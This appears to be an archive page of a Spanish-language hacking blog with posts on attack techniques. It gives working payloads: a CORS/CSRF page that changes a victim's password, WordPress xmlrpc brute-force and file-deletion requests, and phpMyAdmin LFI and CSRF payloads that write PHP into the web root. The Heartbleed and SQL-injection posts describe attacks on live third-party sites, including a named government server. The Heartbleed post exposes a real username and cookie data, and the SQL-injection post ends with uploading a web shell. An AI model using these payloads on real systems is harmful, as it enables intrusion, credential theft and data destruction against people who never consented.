Mostrando entradas con la etiqueta exploit. Mostrar todas las entradas
Mostrando entradas con la etiqueta exploit. Mostrar todas las entradas

lunes, 14 de enero de 2019

CORS Bypass

Un CORS mal configurado nos permite ataques tipos CSRF, Obtener datos privados y mas. Aqui les dejo una entrada de CORS:

https://arthusu.blogspot.com/2018/08/cors-mal-configurado-intercambio-de.html

Y un ejemplo de Bypass CSRF:

<!DOCTYPE html> 

<html> 

<head> 

<script> 

function hack() 



    var xmlhttp; 

    if (window.XMLHttpRequest) 

      { 

          xmlhttp=new XMLHttpRequest(); 

      } 

        else 

      { 

          xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); 

      } 

        xmlhttp.open("GET","http://192.168.239.141/index.php",false); 

        xmlhttp.withCredentials = true; 

        xmlhttp.send(null); 

    if(xmlhttp.status==200) 

    { 

        var str=xmlhttp.responseText; 

        console.log(str); 

        var n=str.search("token"); 

        var c=str.substring(n+14,n+46); 

         

        params = "token="+c+"&password=12345&password_again=12345"; 

  

        xmlhttp.open("POST","http://192.168.239.141/index.php",false); 

        xmlhttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); 

        xmlhttp.setRequestHeader("Accept-Language","es-MX,es;q=0.8,en-US;q=0.5,en;q=0.3"); 

        xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); 

        xmlhttp.withCredentials = true; 

        xmlhttp.send(params); 

    } 



</script> 

</head> 

<body onload="hack();"> 

</body> 

</html>



sábado, 29 de septiembre de 2018

Wordpress xmlrpc.php: vulnerabilidades comunes y como explotarlas

¿De que se trata este post?

Es posible que haya visto un archivo xmlrpc.php en muchos sitios de Wordpress que visite, incluso que haya intentado buscar el error (el servidor XML-RPC solo acepta solicitudes POST) que aparece cuando visita http://sitio.com/wp/xmlrpc.php. En esta publicacion, intentare resaltar las vulnerabilidades comunes asociadas con el archivo xmlrpc.php.

¿Que es XML-RPC?

XML-RPC en Wordpress es en realidad una API o "interfaz de programa de aplicacion". Ofrece a los desarrolladores que crean aplicaciones moviles, aplicaciones de escritorio y otros servicios la capacidad de comunicarse con su sitio de Wordpress. La API XML-RPC que ofrece Wordpress les brinda a los desarrolladores una manera de escribir aplicaciones (para usted) que puedan hacer muchas de las cosas que puede hacer cuando inicia sesion en WordPress a traves de la interfaz web. Estas incluyen:

* Publicar una entrada
* Editar una publicacion
* Eliminar una publicacion
* Subir un nuevo archivo (por ejemplo, una imagen para una publicacion)
* Obtener una lista de comentarios
* Editar comentarios

Vulnerabilidades comunes en XML-RPC

Las principales debilidades asociadas con XML-RPC son: Ataques de fuerza bruta: los atacantes intentan iniciar sesion en WordPress utilizando xmlrpc.php.
Veamos como se hace realmente y como podria aprovechar esto mientras intenta probar un sitio de wordpress para detectar posibles vulnerabilidades.

Ataque de fuerza bruta

1.- Esto es lo que ve originalmente cuando intenta abrir xmlrpc.php ubicado en http://<tusitio.com>/<directoriowordpress>/xmlrpc.php




2.- Lo primero que debe hacer ahora es enviar una solicitud POST y enumerar todos los metodos disponibles, ¿por que? por que asi sabremos que acciones son posibles realizar y potencialmente usar una de ellas para un ataque. Para enumerar todos los metodos envie una solicitud POST con los siguientes datos, como se muestra en la imagen, obtendra una respuesta con todos los metodos disponibes.

<methodCall> 
<methodName> system.listMethods </methodName> 
<params> </params> 
</methodCall>



3.- Busque lo siguiente, si encuentra que estan disponibles, entonces podemos proceder con el ataque:

* wp.getUserBlogs
* wp.getCategories
* metaWeblog.getUsersBlogs

NOTA: hay algunos metodos mas, pero estos son los mas comunmente disponibles. Los he tratado antes, solo mencionando los que puedo recordar en este momento.

4.- Ahora, para realizar un ataque de fuerza bruta, envie lo siguiente en la solicitud POST, si conoce algun nombre de usuario valido que seria aun mejor, recomiendo usar wp-scan para encontrar una lista de nombres de usuarios validos, casi siempre las compañias no intentan evitar la enumeracion de nombre de usuarios de los sitios wordpress.

<methodCall> 
<methodName> wp.getUsersBlogs </methodName> 
<params> 
<param><value>admin</value> </param> 
<param><value>pass</value> </param> 
</params> 
</methodCall>



5.- Ahora cargamos intruder con Burp suite para realizar una ataque por fuerza bruta: https://arthusu.blogspot.com/2015/01/concepto-ataque-por-fuerza-bruta.html

Cuando obtenga un respuesta correcta tendra un 200OK o en funcion del tamaño de la respuesta, el inicio de sesion se mostrara correcto.


¿Otros Ataques?


XSPA o simplemente escaneo de puerto!

1.- Enumere todos los metodos y busque el siguiente:

'pingback.ping'

2.- Si lograste encontrar la cadena pingback.ping entonces continuemos e intentemos obtener un ping en nuestro servidor, puede usar netcat, apache, nodejs, etc. Inicie su servidor y envie la siguiente solicitud en los datos de la publicacion:

<methodCall> 
<methodName> pingback.ping </methodName> 
<params> <param> 
<value> <string> http://sitioaescanear.com.mx:8080 </string> </value> 
</param> <param> <value> <string>http://tusitio.com/wp/?p=1 </string> 
</value></param> </params> 
</methodCall>

Hay 2 cosas que deben llenarse aqui:
1) El enlace de su servidor
2) El enlace de alguna publicacion valida del sitio de wordpress que se usa para devolver la llamada al ping




en la respuesta, si obtiene faultCode y un valor mayor que 0 (<value><int>17</int></value>), significa que el puerto esta abierto + puede verificarlo revisando los registros del servidor.




domingo, 9 de septiembre de 2018

Exploit Wordpress 4.9.6 - Eliminación de archivos arbitrarios

Hola en el 2013 publique una entrada sobre eliminación de archivos arbitrarios y les traigo un exploit en wordpress y como puede ser explotado, si quieres una explicación de como funciona esta vulnerabilidad les dejo el enlace de mi entrada anterior:
https://arthusu.blogspot.com/2013/07/eliminacion-de-archivos-arbitrarios.html

Intro

Wordpress es el CMS mas popular segun w3techs:
https://w3techs.com/technologies/overview/content_management/all

RIPS revelo esta vulnerabilidad el 26 de junio del 2018:
https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/

Explotando la vulnerabilidad de eliminación de archivos arbitrarios

1.- Iniciamos sesion

2.- Nos dirigimos a agregar una nueva imagen y la subimos

3.- Damos clic en la imagen y establecemos $meta['thumb'] (datos en la meta data de la imagen), recordemos el id de la imagen que se muestra arriba de la URL, como se muestra a continuación:

4.- Nos dirigimos a la url con el post http://localhost/wp-admin/post.php?post=4&action=edit y buscamos _wpnonce usando inspeccionar codigo>ctrl+f


5.- Enviamos nuestro vector de ataque usando cURL:


curl -v 'http://localhost/wp-admin/post.php?post=4' -H 'Cookie: ***' -d 'action=editattachment&_wpnonce=***&thumb=../../../../wp-config.php'

donde *** es tu valor de la cookie y *** en _wpnonce es tu identificador que recogiste al inspeccionar el HTML.

7.- Lanzamos el ataque, buscamos de nuevo _wpnonce en el código fuente estando en: http://localhost/wp-admin/post.php?post=4&action=edit copiamos el identificador de _wpnonce y ejecutamos nuestro payload que eliminara el archivo deseado:


8.- Recargamos la pagina y el archivo ha sido eliminado.

Y es todo, espero que les haya gustado, saludos!

Exploit phpMyAdmin 4.8.x LFI

Este exploit no requiere root pero tenemos que tener sesión iniciada en phpMyAdmin.

1.- Nos dirigimos a phpMyAdmin e iniciamos sesión.
2.- La version que estoy ejecutando actualmente es la 4.8.1

3.- Vamos a la pestaña SQL y ejecutamos la siguiente consulta: select '<?php phpinfo();exit;?>';

4.- Obtenemos la sesión (02sg7d31vi7pd23f4p45iv14jim83hob en este caso) de phpMyAdmin, en este caso estoy usando el complemento editThisCookie, pero también puede verlo desde la pestaña Application.

5.- Hacemos la peticion al archivo de la sesion por medio de LFI:

http://localhost/phpmyadmin/index.php?target=db_sql.php?/../../../../../../../../var/lib/php/sessions/sess_02sg7d31vi7pd23f4p45iv14jim83hob

En este caso navegamos hasta /var/lib/sessions/ que es donde se encuentran las sesiones
Y sess_tuidentificador

Y vuala:



Esto seria todo, lo mas complicado es encontrar el directorio donde se encuentran las sesiones guardadas y en todo si caso si es que las guarda, saludos!

Exploit phpMyAdmin 4.7.x CSRF

phpMyAdmin como sabemos es una herramienta de gestión de bases de datos MySQL/MariaDB en linea, el equipo de phpMyAdmin ya corrigio esta vulnerabilidad CSRF por lo cual es importante que si tienen esta versión en su equipo la actualicen.

Un atacante puede acceder a la pagina mediante la inducción del administrador, ejecutando en silencio cualquier consulta SQL.

El administrador inicia sesion con phpMyAdmin, digamos que el usuario es root y la contraseña es toor.



1.- Explotación de CSRF - Cambiando la contraseña actual del administrador de la base de datos

Sabemos que si quisiéramos modificar algún contenido de la base de datos tendríamos que saber la tabla la columna y la base de datos algo que no siempre sabríamos y limitaría nuestro ataque, es por eso que usaremos este ejemplo que es mas general. La consulta para cambiar la contraseña del usuario es la siguiente:

SET password=PASSWORD('www.arthusu.blogpost.com');

2.- Crear una pagina con código malicioso

<p>Mi primera pagina web</p>
<img src="http://localhost/phpmyadmin/sql.php?db=mysql&table=user&sql_query=SET password=PASSWORD('www.arthusu.blogpost.com')" style="display:none;" />



Al pasarle esto al administrador de phpMyAdmin su contraseña sera actualizada y ahora nosotros podremos acceder desde phpMyAdmin.

3.- Escribir un archivo en el servidor.

MySQL permite escribir los resultados de una consulta en un archivo, por lo cual podemos utilizar la siguiente consulta:

select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';


Donde /var/www/html - es una ruta existente en la cual se puede escribir archivos tiene esos permisos

El exploit quedaría algo como lo siguiente:

<p>Mi primera pagina web</p>

<img src="http://localhost/phpmyadmin/sql.php?db=mysql&table=user&sql_query=select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';" style="display:none;" />

Y el resultado seria:



La ejecución de nuestro código.

Existen otras consultas que podemos realizar como es la lectura de archivos usando load_file, y lo que se nos ocurra con consultas SQL.

Conclusión

Mantenerte actualizado, y ver que los ataques CSRF pueden llegar a ser peligrosos. También comentar que este ataque solo sirve si un dba tiene sesión iniciada en phpMyAdmin y si es dba.


sábado, 8 de septiembre de 2018

Ejecutar un Activex con SVG desde Word

Como cada vez estoy bastante mas corto de tiempo haré todas las entradas de manera mas rápida que pueda y que sean para mi propio aprendizaje, si a otros le son de utilidad, genial!

Exploit:

https://gist.githubusercontent.com/homjxi0e/4a38b2402e77a536a4deb17928f9a8b0/raw/332b3fa640bb2fff6c59b38a28eaea39b9ec5df6/x000x02.svg


1.- Menú office>insertar>wordart
2.- poner texto que quieras
3.- seleccionar texto>clic derecho>hipervinculo
4.- seleccionar el archivo SVG descargado anteriormente
5.- ctrl+click en el hipervinculo ejecuta el comando que le diste en Activex en este caso una calculadora




miércoles, 9 de abril de 2014

OpenSSL Heartbleed Vulnerability

OpenSSL


Buenas usuarios del BLOG, hoy estuve leyendo sobre una vulnerabilidad en el protocolo SSL, el cual nos deberia de agregar seguridad a nuestras paginas webs, encriptandonos informacion y demas. Si quieren informacion sobre el protocolo SSL pueden leer aqui: http://es.wikipedia.org/wiki/Transport_Layer_Security

Vulnerabilidad



La vulnerabilidad OpenSSL 'Heartbleed' vulnerability (CVE-2014-0160) lo que nos deja hacer es obtener 64kb de la memoria RAM del servidor vulnerable, obteniendo datos interesantes como las cookies, datos que no pueden ser vistos por otros usuarios por que no tenemos permisos, credenciales, etc...

Bueno y pues no publicare lo mismo que otros blogs, que serian un listado del top 1000 de portales webs que son vulnerables, sino que mostrare con un script en python publicado en exploit-db como es que se explota esta vulnerabilidad...

Antes decirles que el descubridor de esta vulnerabilidad fue Neel Mehta del equipo de Google Security.

Exploit

El exploit lo pueden ver desde: http://www.exploit-db.com/exploits/32745/ e interpretarlo con python...

 
Vamos a testear la pagina insite.gov.pe.ca que nos proporciono nuestro amigo rotceh, la cual si la ven tiene solo un panel para poder entrar, pero... usa el protocolo SSL, entonces usamos el siguiente comando:

 python 32745.py insite.gov.pe.ca --port 443 > output_ssl.txt

Si puedes ver que uso > output_ssl.txt para que me guarde toda la informacion obtenida en un archivo.


Primero que nada nos vamos al final del archivo para verificar si el servidor es vulnerable:


Como se puede ver el servidor es vulnerable... El cual nos arroja muchos datos interesantes como en el caso de las cookies, podriamos hacer un secuestro de sesion.



Como podemos ver en la imagen nos muestra la cookie, mas abajo tambien nos muestra un texto que no esta en la pagina principal, en este caso hay algo muy interesante, por que cuando intente iniciar sesion parecia que el usuario ya no estaba conectado, pero algo muy interesante fue que el usuario estaba en la cookie al igual que la contraseña...


Como vemos el usuario es cjmacausland en la cookie viene codificada en hexadecimal... y la contraseña le pase un script llamado HashID que es un identificador de Hashes lo pueden encontrara aqui: https://code.google.com/p/hash-identifier/downloads/detail?name=Hash_ID_v1.1.py


Entonces tengo el usuario y la contraseña, solo que la contraseña esta encriptada, la unica manera seria usando la tecnica fuerza bruta, pero como no tengo ganas de estar esperando y esto solo es con fines demostrativos hasta aqui lo dejamos, no sin antes decirles, que para desencriptar la contraseña podriamos usar John the ripper por ejemplo.

¿Que fue lo que obtuvimos? Las credenciales de acceso.

Solucionar el problema

Para solucionar este problema necesitamos actualizar OpenSSL a partir de 1.0.1g, o tambien puedes recompilar OpenSSL deshabilitando el soporte para Hearbeat con la opcion -DOPENSSL_NO_HEARBEATS



miércoles, 6 de marzo de 2013

SQL injection MySQL V4 + Upload Shell

En este tutorial intentare mostrar como inyectar en una database MySQL Version 4....
Antes que nada debemos tener un poco de conocimientos de SQL o MySQL.
Bueno tenemos una url vulnerable.... En este caso pues yo ya se que es Version 4...
Empecemos....

Primero empezaremos viendo si la pagina es vulnerable para ello pondremos en la consulta host de la pagina un ' o " o \ o cualquier caracter no valido que pueda romper una query(peticion)....


Bueno como vemos hemos roto la consulta con un ' y sabemos que nuestra DBMS es MySQL.... ahora empecemos a ordernar columnas :D

 hicimos un order by 10 es decir que ordenemos las columnas por la columna 10... pero como esa columna no existe nos envia un error "Unknown column '10' in 'order clause' " que dice que no existe la columna 10 en order by clause ....

entonces vamos intentando menos... como sabemos que no existe 10 por logica entonces debemos intentar menos por que no 5? :D

vemos que nos arroja la pagina entonces con esto sabemos que si logro ordenar por 5 columnas esto no quiere decir que tenga 5... intentemos ponerle 6 :D order by 6 :P

Ahora si estamos seguros de que esta consulta tiene 5 columnas por que a la 6 nos arrojo que no existia entonces estaria algo asi:

$query='select column1,column2,column3,column4,column5 from table where id=$id';

bueno entonces como ya sabemos cuantas columnas contiene solamente las unimos.... union select 1,2,3,4,5



cuando hacemos el union de columnas nos arroja unos numeros con eso sabemos que esos son los campos vulnerables 3 y 4 y podemos inyectar ahi nuestras funciones.... por ejemplo: version() user() database(), etc...


bueno ahi tenemos sacamos la version() que es 4.1.22 y el user con el que podriamos conectar a mysql....

entonces como sabemos que es una version 4 en esta version no se encuentra la base de datos de tipo metadatos information_schema con la que se podria conseguir las otras bases de datos, tablas, columnas y registros por lo que en este caso tendriamos que adivinar :D

entonces si ya sabemos los numeros de columnas que hay en la query solo haria falta saber desde que tabla esta seleccionando esos datos.... para ello vamos a hacer adivinando (modo bruteforce) entonces nuestra consulta formada seria de la siguiente manera:

union select 1,2,version(),user(),5 from admin 

como ven admin es una tabla que no sabemos si es o no admin solo que estamos adivinando.... podria ser cualquier otra pueden usar, ya hay tablas mas usadas para ello pueden usar las que dejo seth http://pastebin.com/LkGT4Dii

entonces que nos saldra con la de admin ....
union select 1,2,version(),user(),5 from admin.....


como ven dice que la tabla admin no existe con eso sabemos que tenemos que buscar otra tabla y asi hasta dar con una tabla que pueda ser interesante....

el error seria:

table database.admin doesn't exist 

entonces seguiremos intentando con las tablas.....

como la pagina se mostro normal con las columnas que insertamos entonces sabemos que la tabla es correcta, la tabla seria administrators....

union select 1,2,version(),user(),5 from administrators

ahora entre los campos vulnerables tenemos que empezar a buscar adivinando las columnas que pueda haber en la tabla administrators....

y bueno para no seguir lo mismo pueden usar la tabla de arriba e intentar adivinar (bruteforce) por ejemplo puedes usar id que seria normal que haya muchos usuarios en esa tabla entonces insertamos id como columna....

union select 1,2,id,user(),5 from administrators

vemos que id es un campo correcto entonces podemos ir anotando datos en un bloc de notas, gedit, kate, etc....

seguimos intentando a bruteforce (adivinando), hasta encontrar todos los campos en este caso encontre que eran: id,user_name,user_password ....

entonces podriamos hacer un group_concat para que nos mostrara todos los registros juntos, group_concat no puede devolver todos los registros si son demasiados por lo que muchas veces necesitaras utilizar solamente concat o concat_ws con un limit de los registros a devolver.....

en este caso seria algo asi:
union select 1,2,group_concat(id,0x2d,user_name,0x2d,user_password),user(),5 from administrators

donde 0x2d seria un campo hexadecimal un divisor para que sepamos donde esta cada registro 2d es igual a - en hex pero para que mysql lo reconosca como hexadecimal agregamos 0x :P


entonces tenenemos dos usuarios administrators esto lo sabemos por el separador o divisor - id-user_name-user_password

como ven nuestro usuario esta encriptado y para saber el tipo de encriptacion solo hay que saber algo sobre criptografia.....

en este caso es un md5($pass,$salt)
podemos usar un software como john the ripper o hashcat para intentar desencriptarlo por medio  de diccionarios.....
o tambien puedes utizar webs online que realizan este trabajo de una manera mas rapida por que tienen guardados los datos en su base de datos.....


encontradas las passwords podemos buscar si esta aplicacion tiene programado algun panel de admin pero como tiene user y pass deberia tener no(?)
 :P entonces podriamos empezar a buscar por robots.....

pagina.com/robots.txt

muchas veces podemos encontrar cosas interesantes....

la otra opcion que se puede usar es google o bing o cualquier buscador :D

site: http://pagina.com/

y encontrar enlaces que puedan servir....

otra opcion es algun directory fuzzer o admin panels finders hay online tambien de estos..... aunque en este caso no utilizare por que se cual es podrias usar por ejemplo: OWASP DirBuster o un servicio online

Bueno ahi tenemos nuestro login entonces lo que aqui sabemos es que es un CMS osCommerce nos logeamos con el user y password(desencriptada)

Encontre que la pagina de administracion tenia un script que redirigia a otra web despues de acceder por lo que active noscript para que no se ejecutara el script....

revisando la pagina de administracion no tenia nada para subir shell, entonces lo que hice es como tenemos acceso a la administracion y sabemos que tenemos un cms un poco desactualizado buscamos algunas vulenrabilidades por google :D

y me encontre con uno http://www.exploit-db.com/exploits/12811/
lo siguiente subir mi shell.....


Listo de aqui terminaria el articulo podriamos hacer mas ataques de vulnerabilidades, o simplemente borrar la shell dejar un simple txt para darte un credito y avisar al administrador..... nunca defacear por que como dijo okol en su articulo de vulnerabilidades web comunes muchos webmasters se enojan y te buscan para encarcelarte, otros puede que sean tus amigos pero la mayoria se enojaria a nadie le gusta que le digan sus errores xD :P